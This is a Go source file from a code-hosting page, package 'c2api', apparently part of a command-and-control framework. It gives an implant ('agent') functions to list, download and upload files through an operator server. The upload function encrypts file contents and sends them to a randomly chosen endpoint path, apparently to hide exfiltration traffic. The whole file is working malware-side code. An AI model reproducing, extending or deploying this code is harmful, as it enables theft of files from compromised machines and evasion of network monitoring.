-
Notifications
You must be signed in to change notification settings - Fork 1
/
files.go
126 lines (98 loc) · 2.39 KB
/
files.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package c2api
import (
"bytes"
"encoding/json"
"errors"
"io"
"net/http"
cry "github.com/zarkones/xena-crypto"
)
func GetFiles() (files []File, err error) {
req, err := http.NewRequest(http.MethodGet, *BaseURL+"/v1/files", nil)
if err != nil {
return nil, err
}
setAuth(req)
resp, err := c.Do(req)
if err != nil {
return nil, err
}
if resp.StatusCode == http.StatusNoContent {
return nil, nil
}
respBody, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
return files, json.Unmarshal(respBody, &files)
}
type RequestFileUploadCtx struct {
UploadedByAgentID string `json:"uploadedByAgentId"`
OriginalName string `json:"originalName"`
}
func RequestFileUpload(uploadedByAgentId, originalName string) (file File, err error) {
reqCtx := RequestFileUploadCtx{
UploadedByAgentID: uploadedByAgentId,
OriginalName: originalName,
}
jsonReqCtx, err := json.Marshal(&reqCtx)
if err != nil {
return file, err
}
req, err := http.NewRequest(http.MethodPut, *BaseURL+"/v1/files", bytes.NewReader(jsonReqCtx))
if err != nil {
return file, err
}
setAuth(req)
resp, err := c.Do(req)
if err != nil {
return file, err
}
if resp.StatusCode != http.StatusCreated {
return file, errors.Join(ErrUnexpectedStatusCode, errors.New(resp.Status))
}
respBody, err := io.ReadAll(resp.Body)
if err != nil {
return file, err
}
return file, json.Unmarshal(respBody, &file)
}
func DownloadFile(fileID string) (fileContent []byte, err error) {
req, err := http.NewRequest(http.MethodGet, *BaseURL+"/v1/files/"+fileID, nil)
if err != nil {
return nil, err
}
setAuth(req)
resp, err := c.Do(req)
if err != nil {
return nil, err
}
respBody, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
return respBody, nil
}
func UploadFile(fileID string, fileContent *[]byte) (err error) {
if TrustedPubKey == nil {
return ErrTrustedKeyIsNil
}
encryptedFileContent, err := cry.SecureWrap(TrustedPubKey, string(*fileContent))
if err != nil {
return err
}
endpointPaths := RouteMap[R_FILE_UPLOAD]
endpointPath := randElem(&endpointPaths)
req, err := http.NewRequest(http.MethodPost, *BaseURL+"/"+endpointPath+"/"+fileID, bytes.NewBufferString(encryptedFileContent))
if err != nil {
return err
}
resp, err := c.Do(req)
if err != nil {
return err
}
if resp.StatusCode != http.StatusOK {
return ErrUnexpectedStatusCode
}
return nil
}